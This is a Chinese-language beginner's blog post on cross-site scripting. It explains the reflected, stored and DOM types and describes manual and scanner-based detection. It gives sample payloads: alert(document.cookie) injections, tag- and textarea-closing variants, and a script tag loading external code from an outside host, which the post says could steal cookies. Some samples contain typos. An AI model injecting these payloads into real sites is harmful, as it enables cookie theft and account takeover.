闲人的XSS学习1

    科技2025-12-23  10

    概念

    XSS又叫CSS,即是跨站脚本攻击。是指攻击者在网页中嵌入客户端脚本,通常是JavaScript编写的恶意代码,当用户使用浏览器浏览被嵌入的恶意代码的网页时,恶意代码将会在用户的浏览器上执行。

    原理

    XSS一般用JavaScript编写,Javascript可以用来--------获取用户的cookie,改变网页内容,URL跳转。存在CSS漏洞,就可以盗取用户COOKIE,黑掉页面,导航到恶意网站。

    例:<script>altert(/xss/)<script>, 这个代码会触发XSS攻击。

    例:script src="http://www.secbug.org/x.txt"></script>,该方法可以用来加载外部脚本,而在x.txt中就存放着攻击者的恶意代码JavaScript代码,这段代码可能是用来盗取用户的Cookie,可能是监控等恶意行为。(x.txt换成x.jpg只要文件中包含JavaScript代码也会被执行。

    XXS类型

    XSS主要有3种类型,反射型,存储型,DOM型。

    反射型 反射型XSS也被称为非持久性XSS。 ①用户访问一个带有XSS代码的URL请求时,服务器端接收数据处理后。 ②带有XSS代码的数据发送到浏览器,浏览器解析这段带有XSS代码的数据后,最终造成XSS漏洞。

    例如: ①小明在访问A网站 ②攻击者发现XXS漏洞,准备网站B ③攻击者将带有XSS漏洞的URL通过站内的信息发送小明 ④小明点击了信息,cookie信息泄露 ⑤攻击者通过小明的cookie登录了小明的账号

    存储型XSS 存储型XSS又称为持久性XSS。 ①允许用户存储数据的WEB应用程序 ②攻击者提交一段XSS代码后,被服务器端储存 ③当攻击者再次访问某个界面,这段XSS代码就被程序读取出来,响应给浏览器,造成XSS攻击。

    例: ①确认输入点和输出点 ②根据相应的标签构造HTML代码来闭合

    不能得知内容输出的具体位置,则可以使用模糊测试方案。

    `<script>alert(document.cookie)</script>`//普通注入 /><script>alert(document.cookie)</script> //闭合标签注入 </textarea><script>alert(document.cookie)</script>//闭合标签注入

    DOM XSS 文档对象模型,DOM通常用于代表在HTML,XHTML,XML中的对象。

    DOM的规定如下: 整个文档是一个文档节点; 每个HTML标签是一个元素节点; 包含在HTML元素中的文本是文本节点; 每一个HTML属性是一个属性节点; 节点与节点之间有等级关系。

    (基于DOM型的XSS是不需要与服务器端交互的)

    检测XSS

    检测XSS一般分为两种方式,一种是手工检测,另外一种是软件自动检测;

    手工检测 最重要是考虑哪里有输入,输入的数据在哪里输出。

    1,可得知输出位置 输入一些敏感字符,例如< > " ’ () ,在提交请求后查看HTML源代码,看这些输入字符是否被转义。

    2,无法得知输出位子 在<input**>** 标签中:

    <input type="text" name="content" value="XSS Test"/> //采用输入"/>XSS Test测试

    全自动检测XSS 专业的XSS扫描器,XSSER,XSSF都是不错的选择。

    Processed: 0.017, SQL: 9